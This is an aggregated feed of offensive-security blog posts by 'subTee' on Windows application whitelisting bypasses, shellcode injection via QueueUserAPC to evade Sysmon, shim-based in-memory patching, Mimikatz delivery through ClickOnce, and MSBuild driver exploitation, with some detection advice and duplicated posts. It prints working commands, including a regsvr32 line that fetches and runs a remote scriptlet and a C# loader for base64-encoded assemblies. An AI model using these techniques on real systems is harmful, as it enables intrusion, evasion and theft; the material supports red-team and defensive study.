Quantcast
Channel: subTee
Viewing all 45 articles
Browse latest View live

Application Whitelisting Bypass - CSI.EXE C# Scripting

0
0
We’ve seen it before, where attackers can bring signed trusted tools to your system to expand functionality.  Attackers can bring tools signed by any vendor you may have approved in your whitelist.  Administrators often approve files at the publisher level to ease deployment.

Below is an example of bringing a signed, vulnerable driver to bypass kernel mode protections.


Recently, Matt Graeber (@mattifestation) demonstrated the ability to bypass Device Guard by bringing a signed debugger (windbg, cdb) to the system.


C# Scripting - hosted inside of csi.exe is another example of a signed tool that can be repurposed to bypass user-mode code integrity.  

“Before delving into the details of the new C# scripting, it’s important to understand the target scenarios. C# scripting is a tool for testing out your C# and .NET snippets without the effort of creating multiple unit testing or console projects. It provides a lightweight option for quickly coding up a LINQ aggregate method call on the command line, checking the .NET API for unzipping files, or invoking a REST API to figure out what it returns or how it works. It provides an easy means to explore and understand an API without the overhead...”


Basically, you can have C# code interpreted interactively, this is actually a great way to learn the language.  

In the example below I demonstrate the ability to load an arbitrary exe into csi.exe. This can be loaded from a basic text file. This is done on a PC running Windows Device Guard.


Screen Shot 2016-09-26 at 9.17.09 AM.png



usingSystem;
usingSystem.Reflection;

string s =System.IO.File.ReadAllText(@"katz.txt");
byte[] b =System.Convert.FromBase64String(s);
Assembly a =Assembly.Load(b);
MethodInfo method = a.EntryPoint;
object o = a.CreateInstance(method.Name);
method.Invoke(o,null);


Where katz.txt is the base64 encoded image file / assembly you wish to execute.

Again, this is misplaced trust, we need to trust many of the binaries signed by Microsoft. But not all of them...

An adversary would need to bring csi.exe + some dependencies, all said about 6MB, uncompressed.  I leave it to the reader to discover what those might be.

There is a great mitigation example for Device Guard to block “untrustable” sponsoring executables like this here:


Please refer to this list here:

For continued updates of bypasses that are discovered.


Screen Shot 2016-09-26 at 9.29.54 AM.png

That’s all I have for today,

Cheers,

Casey
@subTee


Using Application Compatibility Shims

0
0
Overview:
There have been number of blog posts and presentations on Application Compatibility Shims in the past [See References at End].  Application Compatibility is a framework to resolve issues with older applications; however, it has additional use cases that are interesting. For example, EMET is implemented using shims[1,2]. Please see the Reference section below for additional reading and resources.  In short, this document will focus on the following tactics: injecting shellcode via In-Memory patches and injecting a DLL into a 32bit process, and lastly, detection and shim artifacts will be discussed.  An In-Memory patch has this advantage over backdooring an executable: it this preserves the signature and integrity checks.  This technique can also bypass some Application Whitelisting deployments.  AppLocker, for example, would allow the startup of a trusted application, and then an In-Memory patch could be applied to alter the application.


Shim Installation:
The shim infrastructure is built into Windows PE loader. Shims can be applied to a process during startup. There is a two-step process that I will refer to as “Match and Patch”.  The Match process checks the registry on process create and looks for a relevant entry. If an entry is found, the Match process further checks the associated .sdb file for additional attributes, version number for example.  Based on my understanding, the sdb does need to be present on disk. I have not encountered any tactics to load an sdb file from memory or remotely. When the Shim Databases are installed they are registered in the registry at the following two locations:


HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB


These entries can be created manually, using sdb-explorer.exe, or using the built-in tool sdbinst.exe. If you use sdbinst.exe there will also be an entry created in the Add/Remove Programs section. In order to install a shim, you need local administrator privileges.


An example of a shim entry would look like this:




Once the shim has been installed, it will be triggered upon each execution of that application. Remember, there is further validation of the executable inside of the sdb file. For example, matching a specific version or binary pattern. I have not found a way to apply a shim when a DLL is loaded, or apply a shim to an already running process.  These registry keys plus the actual sdb file are the indicators for the Blue Team that a shim is present.  


Shim Creation and Detonation:
There are two tools we can use to create shims. First, the Microsoft providedApplication Compatibility Toolkit (ACT).  Second, the tool created by Jon Erickson,sdb-explorer.exe.  ACT will allow us to inject a DLL into a 32-bit process, while sdb-explorer allows us to create an In-Memory binary patch to inject shellcode. The ACT has no ability to parse or create an In-Memory patch. This can only be done via sdb-explorer.


There is an excellent walk-through here oncreating an InjectDLL Demo.


For the remainder of this document, we will focus on using sdb-explorer to create and install an In-Memory patch.


My testing seems to indicate this will not work on Windows 10.  This tactic will only work on Windows versions <= 8.1.  I could be wrong about this, so please share any insight if you have it.


There are two approaches you can take with sdb-explorer.  First, you can simply Replace or write arbitrary bytes to a region in memory. Second, you can match a block of bytes and overwrite. There are advantages and disadvantages to both approaches. It is worth noting that this method of persistence will be highly specialized to the environment you are operating in. For example, you will need to know specific offsets in the binary   




For this to work, we need an offset to write out shellcode to. I like to useCFF Explorer.


Here we are going to target the AddressOfEntryPoint. There are other approaches as well.  The drawback to this approach is the application doesn’t actually execute. In order to do that you would need to execute your patch and then return control to the application.  I leave that as an exercise for the reader.


Once we have the offset, we can use the syntax provided by sdb-explorer to write our shellcode into the process at load time.


If we break down the syntax, it is pretty easy to understand.


Line 7. 0x39741 matches the PE Checksum. This is in the PE Header.




Line 8. 0x3689 is the offset of our AddressOfEntryPoint.  What follows is just stock shellcode to execute calc.


Once our configuration file is created, we “compile” or create the sdb.
sdb-explorer.exe –C notepad.conf –o notepad.sdb.


Then install it:


sdb-explorer.exe –r notepad.sdb –a notepad.exe


You can also use:


sdbinst –p notepad.sdb.


In either case it requires local administrative rights to install a shim.


Notepad.exe is nice. But more likely shim targets would be explorer.exe, lsass.exe, dllhost.exe, svchost.exe. Things that give you long term persistence. Of course your shellcode would need to return control to the application, instead of just hijacking AddressOfEntryPoint.


Shim Detection:
There are two primary indicators that a shim is being used. First, the registry keys mentioned above.  Second, the presence of the .sdb file. The presence of the .sdb file is not necessarily bad, it would be wise to build a baseline to understand which shims your organization uses and which would be an indicator. There was a good example of detecting shim databases given here:  Hunting Memory, on slide 27.  Also, some shim registration activity can be recorded in the Microsoft-Windows-Application-Experience-Program-Telemetry.evtx.


Cheers,


Casey
@subTee


References:





Command Line Camouflage - ODBCCONF.EXE

0
0
One of the tools Blue Teams have is combining Big Data with Command Line Auditing.  So here's one to add some confusion to their game.

Recently I stumbled onto another interesting binary.  ODBCCONF.EXE Its default, in Windows, We've heard that before.

https://msdn.microsoft.com/en-us/library/ee388579(v=vs.85).aspx

If you look closely, there are two interesting switches.  /A and /F

So, we can load an arbitrary dll, no injection required this way.

odbcconf.exe /A { REGSVR evil.dll }

However, its much more interesting in my opinion to use

odbcconf.exe /F my.anyextension

For example: odbcconf.exe /F sqlserver.config

This will load the dll specified in the sqlserver.config file.

Recently Nick Tyrer  (@NickTyrer) created an interactive PowerShell console using this method.

Pretty fantastic!

https://gist.github.com/NickTyrer/6ef02ce3fd623483137b45f65017352b



This requires the C# code to be compiled with the Unmanaged-Export capability found here:

https://www.nuget.org/packages/UnmanagedExports

So check it out!

Sometimes all you need is some good camouflage.


Thats all for today.  Short and Sweet.


Cheers,

Casey
@subTee


Mimikatz Delivery via ClickOnce with URL Parameters

0
0
Recently during an ATD team Hackathon, we split our team into groups and attacked different problems. The challenge that @webyeti and I took on, was write a quick POC to prove the ability to pass URL parameters to a ClickOnce Application.

This has the advantage of customizing the implant at the time the user clicks to install the application. For background on ClickOnce as a phishing payload, see the following:


One of the challenges with ClickOnce is having to use Visual Studio to compile each payload for the target. By leveraging URL Parameters, you can build a base download cradle that contains custom logic based on the actual request that was made. This means you can easily customize payloads without having to recompile them.

The ability to pass input to the ClickOnce Deployment is well-documented here:

So let’s look at an example. In this example, we will download and execute an encrypted version of Mimikatz. This is just a basic example to highlight the capabilities of this tactic. Passing a key in the URL parameter is a bad idea, since a well-trained defender could extract the key from a proxy log or the registry. But I think this technique provides enough opportunity for unique key material per payload.

First, you will need to create the Visual Studio Application and configure the app to be Published as a ClickOnce Application.

Second, when you host the application on a web server, you will need to setup the correct MIME types to trigger the ClickOnce App.

Setting up the right MIME types is well-documented here:

.application –> application/x-ms-application 
.manifest –> application/x-ms-manifest 
.deploy –> application/octet-stream

The code to parse and process the URL Parameters is really simple.
Request:  http://www.example.com/s.application?field1=value1&field2=value2&field3=value3
Then your app can call:
string queryString = ApplicationDeployment.CurrentDeployment.ActivationUri.Query;
This will retrieve the Query string.

There are numerous examples of being able to customize your delivery based on inputs from the URL parameters.  I leave it to you to experiment with other ways to leverage this tactic.

Here is a brief Demo:




POC Gist:

From a Defensive perspective. There will be a number of artifacts stored in the registry.  
Each ClickOnce application leaves a tattoo in the registry of the settings including the initial URL requested.  HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
With a per app dynamic key generated.

Screen Shot 2016-12-14 at 10.13.40 AM.png

Defenders should also consider blocking .application extension and the other MIME types mentioned above. Seriously...how often will apps be deployed from the outside of your network from arbitrary urls?


That’s all for today.  Hope this was helpful.

Screen Shot 2016-12-14 at 10.19.22 AM.png

Cheers,


Casey
@subTee


Consider Application Whitelisting with Device Guard

0
0
A while back, I posted this question on Twitter.


I realize that Twitter is a difficult medium to articulate full discussions, so I wanted to engage the topic with a blog post. Over the last couple years, I have focused a fair amount of time drawing attention to the use/misuse of trusted binaries to circumvent Application Whitelisting (AW) controls.  What I have not often discussed, is the actual effectiveness that I have seen of using AW. I would like to take the time to describe what I see are the strengths of AW, and encourage organizations to consider if it might work for their environments.
The genesis of this discussion came from my colleague, Matt Graeber (@mattifestation).  We’ve spent a fair amount of time looking at this technology as it applies to Microsoft’s Device Guard. And while we agree there are bypasses, we also believe that a tool like Device Guard can dramatically reduce the attack surface and tools available to an adversary.
One question you must ask yourself and your organization is this… How long will you allow the adversary to use EXE/DLL tradecraft to persist and operate in your environment? I have heard a great deal of discussion and resistance to deploying AW. However, I personally have not heard anyone who has deployed the technology say that they regret whitelisting.
When the organization I used to work for deployed AW in 2013, it freed up our team from several tasks.  It gave us time to hunt and prepare for the more sophisticated adversary.  There are many commodity attacks and targeted attacks that take various forms.  However, one commonality they all often share is to drop an EXE or DLL to disk and execute. It is this form of attack that you can mitigate with AW.  With whitelisting, you force the adversary to retool and find new tradecraft, because unapproved, unknown binaries will not execute…
How long will you continue to perform IR and hunt C2 that is emitted from an unapproved PE file?
Here are some of the common reasons I have heard for NOT implementing AW. There are probably others, but this summarizes many.


1.    Aren’t there trivial bypasses? It doesn’t stop all attacks.
2.    Too much effort.
3.    It doesn’t scale.
I’ll take each of these and express my opinion. I’m open to dialogue on this and if I’m wrong, I would like to hear it and correct course…
1.    Aren’t there trivial bypasses to AW?  It doesn’t stop all attacks.
There are indeed ways to bypass AW.  I have found a few.  However, most of the bypasses I have demonstrated require that you have already obtained access to, and have the ability to execute commands on the target system. How does the attacker gain that privilege in the first place if you deny them arbitrary PE’s?  Most likely it will be from a memory corruption exploit in the browser or other application.  How many exploit kits, macros, or tools lead to dropping a binary and executing it?  Many do…
Most of the bypasses I have used are rooted in misplaced trust.  Often administrators of AW follow a pattern of “Scan A Gold Image & Approve Everything There”.  As Matt Graeber has pointed out to me several times, this is not the best approach.  There are far too many binaries that are included by default that can be abused. A better approach here is to explicitly trust binaries or publishers of code.  I can’t think of a single bypass that I have discovered that can’t be mitigated by the whitelist itself.  For example, use the whitelist to block regsvr32.exe or InstallUtil.exe.
Don’t fall victim to thePerfect Solution Fallacy.  The fact that AW doesn’t stop all attacks, or the fact that there are bypasses, is no reason to dismiss this as a valid defense.


“Nobody made a greater mistake than he who did nothing because he could do only a little.”–Edmund Burke
AW, in my opinion, can help you get control of software executing in your environment. It actually gives teeth to those Software Installation Policies. For example, it only takes that one person trying to find the Putty ssh client, and downloading a version with a backdoor to cause problems in your network.  For an example of how to backdoor putty see this recent post. Or use The Backdoor Factory (BDF). The thing is, it doesn’t matter that putty has a backdoor.  The original file has been altered, and will not pass the approval process for the whitelist, and the file will be denied execution. Only the approved version of putty would be able to execute in your environment.
2.    Too much effort.
Well… I’ve heard this, or some variation of it.  I understand that deploying and maintaining AW takes tremendous effort if you want to be successful.  It actually will take training multiple people to know how to make approvals and help with new deployments.
You will actually have to work very closely with your client teams, those in IT that manage the endpoints.  These partnerships can only strengthen the security team’s ability to respond to incidents. You can leverage tools like SCCM to assist with AW approvals and deployments.
The level of effort decreases over time.  Yes, there will be long hours on the front end, deploying configurations, reviewing audit logs, updating configs, etc… Some admins are so worried they will block something inadvertently; they are paralyzed to even try.  I think you’ll find out, Yes, you will block something legitimate.  Accept that this will happen, it’s a learning process, take it in steps.  Use that as an opportunity to get better.
I’ll say it again; I haven’t met anyone who has made the effort to deploy AW say that they regret the decision…
If you think it’s too hard, why not try 10% of the organization and see what you learn?
Stop telling me you aren’t doing this because it’s too hard… Anything worth doing well is going to require some effort and determination.
3.    It doesn’t scale.
Nope, it may not in your environment.  I never said it would… You must decide how far to go.  You may not get AW everywhere, but you can still win with it deployed in critical locations.  The image below describes how I think about how AW applies to different parts of your organization.  It is not a one-size-fits-all solution.  There are approaches and patterns that affect how you will deploy and configure whitelists. I think you should start with the bottom, and work your way up the stack.
Start to think of your environment in terms of how dynamic the systems are.  At the low end of the are those fixed function systems.  Think about systems similar to Automated Teller Machines.  These often only need to be able to apply patches.  New software rarely ever lands here.  Next, you have various department templates, each department will be unique, but likely fits a pattern.  Then IT Admins, who often need to install software to test or have more dynamic requirements.  At the top of the environment, are Developer workstations.  These are systems that are emitting code and testing.  I’m not saying you can’t whitelist here.  You can, I’ve done it.  But it will require some changes to build processes, code signing etc…


Yes, this is an overly simplified analogy, but I hope it helps you see where you can begin to prioritize AW deployments.
So, begin to reorient how you think about your systems to how dynamic they are.  You will have your quickest wins and earliest wins by starting at the bottom and moving your way up the hierarchy.


Conclusion


I am curious for open debate here.  If AW sucks, then let me hear why.  Tell me what your experience has been.  What would have made it work?  I’m interested in solutions that make a long term actual difference in your environment.  It is my opinion that AW works, despite some flaws.  It can dramatically reduce the attack patterns used by an adversary and increase the noise they generate.  I also believe that by implementing AW, your security teams can gain efficiencies how they operate. I am open to learn here.
If you are tasked with defending your organization, I’m asking you, as you begin to roll out Windows 10, to consider using Device Guard.


Ok, that’s all I have today.  Sincere feedback welcome.  If you think I’m wrong, I’d like to hear why...

Cheers,

Casey
@subTee

Attacking Drivers With MSBuild.exe

0
0
I’ve recently been experimenting with the full, offensive capabilities of MSBuild.exe. As a reference, MSBuild.exe ships with the .NET framework and comes installed by default on Windows 10.  


Starting in .NET Framework version 4, you can create tasks inline in the project file. You do not have to create a separate assembly to host the task. This makes it easier to keep track of source code and easier to deploy the task. The source code is integrated into the script.”


Specifically, the aspect of MSBuild.exe that we are leveraging is called anInline Task.
This feature allows us to specify C# code in an XML file that gets compiled and executed in memory when called. The C# code that is included in the XML task, is compiled and loaded as a byte array in memory.  This gives us the huge advantage, since this will likely not be picked up by tools that monitor library loads from disk like Application Whitelisting or Anti Virus. Really, if you think about it, this is every bit as powerful as PowerShell, without all the logging and detection that comes with PowerShell these days.  By leveraging pure C# you can avoid the PowerShell Logging.
This idea led me to exploring the full potential of using MSBuild.exe for bypassing UMCI (User Mode Code Integrity). For example, to expand our influence on the local system, we could exploit a local, approved vulnerable driver. Normally, this process is kicked off by a user mode process to interact with the driver.  However… with UMCI in place, your PoC binary won’t execute and you are stuck… This blog will describe the details and methods that you can call to interact with the driver using the .NET framework, hosted inside MSBuild.exe.
If you would like to review the code sample. I’ve posted ithere.
First a bit of background on the driver, and the exploit technique. I stumbled upon this driver onGitHub a couple weeks ago. All the research on this exploit was done by Shahriyar Jalayeri
( @ponez )
I wanted to see if I could port the exploit to C# so that I could use MSBuild.exe to execute it. And the answer is yes, yes you can ;-).
In this example, we are going to exploit a Write-What-Where vulnerability. This means that we can overwrite a location controlled by the Windows kernel.  The question is, how do we identify the “what” and the “where”? There is an excellent book here that provided a lot of the background for me.
A couple of preliminary steps:
First, we need to locate the base address of ntoskrnl.exe.  This can be done using the following routine here.  All of this can be done as a normal user.  As my colleague Matt Graeber (@mattifestation) pointed out, this is a fantastic heuristic for a sysmon rule. i.e. detection of any PID besides 4 (system process) that loads ntoskrnl.exe. There is no legitimate purpose for this. lt is almost certainly guaranteed to be malicious.


Second, once we have the base address of the kernel, we need to locate the offset to important structures and functions.  Here, we load ntoskrnl.exe into our process so that we can calculate offsets and calculate the values we need to overwrite.  


After discovering the correct base address of the Kernel Executive, we will be able to relocate whichever exported function we’d like to move by simply loading the same binary image in user land and relocating the relative virtual address (RVA) using the real kernel base address leaked by that function. Do not confuse RVAs with virtual memory addresses. An RVA is a virtual address of an object (a symbol) from the binary file after being loaded into memory, minus the actual base address of the file image in memory. To convert an RVA to the corresponding virtual address, we have to add the RVA to the corresponding module image base address. The procedure to relocate Kernel Executive functions, hence, is straightforward. We have to load the kernel image into user-mode address space via the LoadLibrary() API, and then pass the HMODULE handle to a function which resolves the RVA…” - Guide to Kernel Exploitation p276.


Ok.  Now we need to actually perform the overwrite. This is done by interacting with the driver and passing a malicious request that actually overwrites the locations we have found.


This is seen here.  


I ended up just writing a bunch of shellcode with NOP instructions, and 0xCC breaks.   I leave this up to you to experiment with to see what kind of interesting exploit you can come up with.  My code is a simple POC. Be sure to check out https://www.fuzzysecurity.com/ to see some cool exploits using PowerShell, much of this can be ported to .NET easily.


Ok.  So, what does this all mean?  Well, I’m an advocate of Application Whitelisting, and one of the reasons for exploring this area was to demonstrate that a valid signed driver can undermine your local systems.  The attacker can bring/install this driver and can use it to install rootkits or other malicious software running in the kernel context. The combination of a kernel mode and user mode bypass has significant implications.


Device Guard actually has a driver policy referred to as kernel mode code integrity (KMCI). This allows your organizations to approve drivers.  Even if the driver is signed, you can prevent this driver from being loaded on your systems. It is important to have a UMCI policy.  It is just as important to consider a KMCI policy as well.  Drivers should be far less dynamic in your environment.  You should know EXACTLY which drivers are deployed, and their versions.  A good reference on that is here and on Matt’s blog.


That’s all I have today.


Screen Shot 2017-01-13 at 1.17.53 PM.png


Casey
@subTee



Shellcode Injection via QueueUserAPC - Hiding From Sysmon

0
0
Recently, our team was discussing some defender capabilities.  One excellent tool is Sysmon from Sysinternals. This tool allows you to collect detailed information on processes, network connections, and several other artifacts.  Check out these resources for additional detail.




One of the events that is collected by Sysmon is explained as follows.


Event ID 8: CreateRemoteThread

“The CreateRemoteThread event detects when a process creates a thread in another process. This technique is used by malware to inject code and hide in other processes. The event indicates the source and target process. It gives information on the code that will be run in the new thread: StartAddress, StartModule and StartFunction. Note that StartModule and StartFunction fields are inferred, they might be empty if the starting address is outside loaded modules or known exported functions.” -Sysmon Documentation


This can be seen in a event like this:


Screen Shot 2017-01-18 at 4.39.53 PM.png


There are some really solid indicators here, including the base address of our shellcode.


So, the next question we had was to see if we could avoid these types of alerts and still accomplish our action on objective. The answer is yes, yes you can ;-) !


First some background on a function called QueueUserAPC.  This actually allows us to execute a block of shellcode by attaching it to the APC Queue.  Every Asynchronous Procedure Call (APC) waiting to execute resides in a thread-specific, kernel-managed queue and every thread in the system contains two APC queues, one for user-mode APCs and another for kernel-mode APCs.[1]




In this example, I’m taking a departure from the normal approach and combining something like process hollowing and thread hijacking.  First, we will create a process in the suspended state and copy our shellcode into that child process.  Next, we will call QueueUserAPC to attach our shellcode to a thread queue, so it executes when we resume.


Example code here.


You can invoke this as either a standalone exe or from InstallUtil.exe.  Also, here is an example using MSBuild.exe.


Most everything is pretty standard.  Here is where the interesting code is.


Screen Shot 2017-01-18 at 8.41.08 PM.png


So, there you have it.  This is one way that attackers might attempt to circumvent your CreateRemoteThread log collection.  No more meddling Sysmon Event ID 8 alerts *grin*.


That is all I have today.


Screen Shot 2017-01-18 at 5.09.03 PM.png


Cheers,


Casey

@subTee

Extend Windows Script Host via Registration-Free COM

0
0
I like JScript , I just wish I could more with it.  Well, now you can!  There is a lot to cover here so lets get started.

First, Registration-Free COM:

https://msdn.microsoft.com/en-us/library/ms973913.aspx

A technology that allows you to access COM objects, without having to register them.  This relies on there being a manifest that can locate the COM objects. Lots more to explore here.

Second, the Microsoft.Windows.ActCtx Object:

https://msdn.microsoft.com/en-us/library/windows/desktop/aa375644(v=vs.85).aspx

"object references manifests and provides a way for scripting engines to access side-by-side assemblies".  

Perfect!  All we need to do is create an Assembly, A Manifest, and then we can ingest our Assembly into WSH / JScript /VBScript / SCT files, and extend the capabilities of the scripting host.

Drawbacks?  Well, for one it requires writing an assembly and manifest to disk.  I know its not all the hotness of memory resident, but still interesting. In some cases we can get around the manifest being on disk , by setting the ManifestURL property, undocumented of course, but interesting still.  

Here is an example of extending PowerShell with our Dll



Also, you can extend say JScript with this technique as well:




Well, thats all I have for now, a quick example of extending the Script Hosts on Windows by using Registration-Free COM and the Activation Context Objects (ActCtx).

I'm sure there are questions and I'll do my best to answer them.  Things I still want to do/test.  I'd like to just embed the manifest into the assembly, so I only have to drop one file to disk.  Just need to get that done.

Thats all for today. So much goodness in Registration-Free COM ;-)







Cheers,

Casey 
@subTee




Extending JScript with System.EnterpriseServices.RegistrationHelper

0
0
tl;dr  This code example is how to get .NET which gives you access to Win32 inside JScript or VbScript.


For some time I've been interested in extending the capabilities of JScript. So for example, to execute Shellcode, or access Win32.  Why?  Why not?

First, you build a specially crafted .NET assembly, like the one above.  Then you can invoke the UnRegister Method by using the right COM object.

So, when I started exploring COM Objects, I noticed System.EnterpriseServices.RegistrationHelper.

If you read up a bit on this class on MSDN, you will learn that this can be used to register COM+ Services.  The one draw back to this technique is that it requires a dll on disk.

But with the right dll, you can minimize the logic in your dll, and extend the functionality of your scripts.

What does this mean?  Well simply put, we can load ANY dll, well, .NET Assembly, into WSH to enhance functionality WITHOUT having to register it first.

While all the #DFIR teams are sifting through big data PowerShell logs... This will fly under the radar, likely.

Thats all, I think this code speaks for itself.  Give it a try, test it.  It will only work on .Net 2-3.5.

Feedback Welcome.




Cheers,

Casey
@subTee





Using DotNetToJScript - A Working Example, this is amazing.

0
0
Ok, so over the last few posts, I've been trying to stretch JScript/VBScript to do more?  One of the main reasons has been to try to expand the capability of COM Scriptlets.

The major drawback to JScript for example, is no real access to Windows API's.

tl;dr DotNetToJScript gives us the ability to extend capabilities of Windows Scripting Host.

So, lets dive in and take a look at how we can use this tool.

The use case for me will be I want to execute ShellCode inside an SCT.  Historically, I had to do this by launching an Excel/Word COM object, inject a macro and execute it.

With this, we will be able to execute shellcode from inside an SCT file.

So, first, a simple .NET shellcode Runner.  It will determine if it is in x86/x64 and then choose the appropriate shellcode array to exec.

Code for this is here:

First - Create your .NET class that contains what you want execute (example.cs)
Second - Use the DotNetToJScript to build your payload (DotNetToJScript.exe -u example.exe)
Third - Execute the SCT on the target

Let me be clear, what does this mean?  Here is it as plain as I can make it.

Your .NET assembly is serialized, and stored in an array in text.  This assembly is later fully re-hydrated and executed on the target.  

I hope this makes sense on how to use this new capability.

Special thanks to James Forshaw for this discovery.  His original research is here:

Give it a test, feel free to ask questions.

It is my opinion this is a significant game changer!





Thats all for today.

Cheers,

Casey



Bypass Application Whitelisting Script Protections - Regsvr32.exe & COM Scriptlets (.sct files)

0
0
So, I have been working this out the last few days. I was trying solve a particular problem.

I needed a reverse shell on workstation locked down by AppLocker executable and script rules enforced.

 tl;dr "regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll"

I have been researching fileless persistence mechanisms.  And it led me to a dark place.  I would wish on no mortal.  COM+.

I posted earlier about .sct files. This link describes what they are. In short they are XML documents, that allow you to register COM objects that are backed not by a .dll but scripts. 

Inside COM+

However, I wasn't really happy with what I had found since it required Admin rights in order to execute.  I could register the script to bypass AppLocker, but I still had to instantiate the object to trigger the code execution.

Then, I decided to place the script block inside of the Registration tag. Bam! Now all I had to do was call the regsvr32 and the code would execute. Still... That whole admin problem...

After pouring over hellish COM+ forums from 1999, I found a reference that stated that the code in the registration element executes on register and unregister.

I logged in as a normal user and right clicked the .sct file and chose "unregister" and... It worked.

That was it.

The amazing thing here is that regsvr32 is already proxy aware, uses TLS, follows redirects, etc...And.. You guessed a signed, default MS binary.  Whohoo.

So, all you need to do is host your .sct file at a location you control. From the target, simply execute

regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll

Its not well documented that regsvr32.exe can accept a url for a script.

In order to trigger this bypass, place the code block, either VB or JS inside the <registration> element.

Hopefully this makes sense.

In order to further prove this out, I wrote a PowerShell server to handle execution and return output.

I hope this is helpful and that it makes sense.

There is ALOT more to explore here, so please, send me feedback if you find this helpful.
[Update]
- You can also call a local file too.  If you really wanted to...
- This does not ACTUALLY register the COM object.  So nothing is in the registry... BONUS


Proof Of Concept Here

So, there you have it!

And yes. this bypass fits in a Tweet.  :-)



Are we clear?

Cheers,

Casey
@subTee

Shellcode Injection via QueueUserAPC - Hiding From Sysmon

0
0
Recently, our team was discussing some defender capabilities.  One excellent tool is Sysmon from Sysinternals. This tool allows you to collect detailed information on processes, network connections, and several other artifacts.  Check out these resources for additional detail.




One of the events that is collected by Sysmon is explained as follows.


Event ID 8: CreateRemoteThread

“The CreateRemoteThread event detects when a process creates a thread in another process. This technique is used by malware to inject code and hide in other processes. The event indicates the source and target process. It gives information on the code that will be run in the new thread: StartAddress, StartModule and StartFunction. Note that StartModule and StartFunction fields are inferred, they might be empty if the starting address is outside loaded modules or known exported functions.” -Sysmon Documentation


This can be seen in a event like this:


Screen Shot 2017-01-18 at 4.39.53 PM.png


There are some really solid indicators here, including the base address of our shellcode.


So, the next question we had was to see if we could avoid these types of alerts and still accomplish our action on objective. The answer is yes, yes you can ;-) !


First some background on a function called QueueUserAPC.  This actually allows us to execute a block of shellcode by attaching it to the APC Queue.  Every Asynchronous Procedure Call (APC) waiting to execute resides in a thread-specific, kernel-managed queue and every thread in the system contains two APC queues, one for user-mode APCs and another for kernel-mode APCs.[1]




In this example, I’m taking a departure from the normal approach and combining something like process hollowing and thread hijacking.  First, we will create a process in the suspended state and copy our shellcode into that child process.  Next, we will call QueueUserAPC to attach our shellcode to a thread queue, so it executes when we resume.


Example code here.


You can invoke this as either a standalone exe or from InstallUtil.exe.  Also, here is an example using MSBuild.exe.


Most everything is pretty standard.  Here is where the interesting code is.


Screen Shot 2017-01-18 at 8.41.08 PM.png


So, there you have it.  This is one way that attackers might attempt to circumvent your CreateRemoteThread log collection.  No more meddling Sysmon Event ID 8 alerts *grin*.


That is all I have today.


Screen Shot 2017-01-18 at 5.09.03 PM.png


Cheers,


Casey

@subTee

Attacking Drivers With MSBuild.exe

0
0
I’ve recently been experimenting with the full, offensive capabilities of MSBuild.exe. As a reference, MSBuild.exe ships with the .NET framework and comes installed by default on Windows 10.  


Starting in .NET Framework version 4, you can create tasks inline in the project file. You do not have to create a separate assembly to host the task. This makes it easier to keep track of source code and easier to deploy the task. The source code is integrated into the script.”


Specifically, the aspect of MSBuild.exe that we are leveraging is called anInline Task.
This feature allows us to specify C# code in an XML file that gets compiled and executed in memory when called. The C# code that is included in the XML task, is compiled and loaded as a byte array in memory.  This gives us the huge advantage, since this will likely not be picked up by tools that monitor library loads from disk like Application Whitelisting or Anti Virus. Really, if you think about it, this is every bit as powerful as PowerShell, without all the logging and detection that comes with PowerShell these days.  By leveraging pure C# you can avoid the PowerShell Logging.
This idea led me to exploring the full potential of using MSBuild.exe for bypassing UMCI (User Mode Code Integrity). For example, to expand our influence on the local system, we could exploit a local, approved vulnerable driver. Normally, this process is kicked off by a user mode process to interact with the driver.  However… with UMCI in place, your PoC binary won’t execute and you are stuck… This blog will describe the details and methods that you can call to interact with the driver using the .NET framework, hosted inside MSBuild.exe.
If you would like to review the code sample. I’ve posted ithere.
First a bit of background on the driver, and the exploit technique. I stumbled upon this driver onGitHub a couple weeks ago. All the research on this exploit was done by Shahriyar Jalayeri
( @ponez )
I wanted to see if I could port the exploit to C# so that I could use MSBuild.exe to execute it. And the answer is yes, yes you can ;-).
In this example, we are going to exploit a Write-What-Where vulnerability. This means that we can overwrite a location controlled by the Windows kernel.  The question is, how do we identify the “what” and the “where”? There is an excellent book here that provided a lot of the background for me.
A couple of preliminary steps:
First, we need to locate the base address of ntoskrnl.exe.  This can be done using the following routine here.  All of this can be done as a normal user.  As my colleague Matt Graeber (@mattifestation) pointed out, this is a fantastic heuristic for a sysmon rule. i.e. detection of any PID besides 4 (system process) that loads ntoskrnl.exe. There is no legitimate purpose for this. lt is almost certainly guaranteed to be malicious.


Second, once we have the base address of the kernel, we need to locate the offset to important structures and functions.  Here, we load ntoskrnl.exe into our process so that we can calculate offsets and calculate the values we need to overwrite.  


After discovering the correct base address of the Kernel Executive, we will be able to relocate whichever exported function we’d like to move by simply loading the same binary image in user land and relocating the relative virtual address (RVA) using the real kernel base address leaked by that function. Do not confuse RVAs with virtual memory addresses. An RVA is a virtual address of an object (a symbol) from the binary file after being loaded into memory, minus the actual base address of the file image in memory. To convert an RVA to the corresponding virtual address, we have to add the RVA to the corresponding module image base address. The procedure to relocate Kernel Executive functions, hence, is straightforward. We have to load the kernel image into user-mode address space via the LoadLibrary() API, and then pass the HMODULE handle to a function which resolves the RVA…” - Guide to Kernel Exploitation p276.


Ok.  Now we need to actually perform the overwrite. This is done by interacting with the driver and passing a malicious request that actually overwrites the locations we have found.


This is seen here.  


I ended up just writing a bunch of shellcode with NOP instructions, and 0xCC breaks.   I leave this up to you to experiment with to see what kind of interesting exploit you can come up with.  My code is a simple POC. Be sure to check out https://www.fuzzysecurity.com/ to see some cool exploits using PowerShell, much of this can be ported to .NET easily.


Ok.  So, what does this all mean?  Well, I’m an advocate of Application Whitelisting, and one of the reasons for exploring this area was to demonstrate that a valid signed driver can undermine your local systems.  The attacker can bring/install this driver and can use it to install rootkits or other malicious software running in the kernel context. The combination of a kernel mode and user mode bypass has significant implications.


Device Guard actually has a driver policy referred to as kernel mode code integrity (KMCI). This allows your organizations to approve drivers.  Even if the driver is signed, you can prevent this driver from being loaded on your systems. It is important to have a UMCI policy.  It is just as important to consider a KMCI policy as well.  Drivers should be far less dynamic in your environment.  You should know EXACTLY which drivers are deployed, and their versions.  A good reference on that is here and on Matt’s blog.


That’s all I have today.


Screen Shot 2017-01-13 at 1.17.53 PM.png


Casey
@subTee

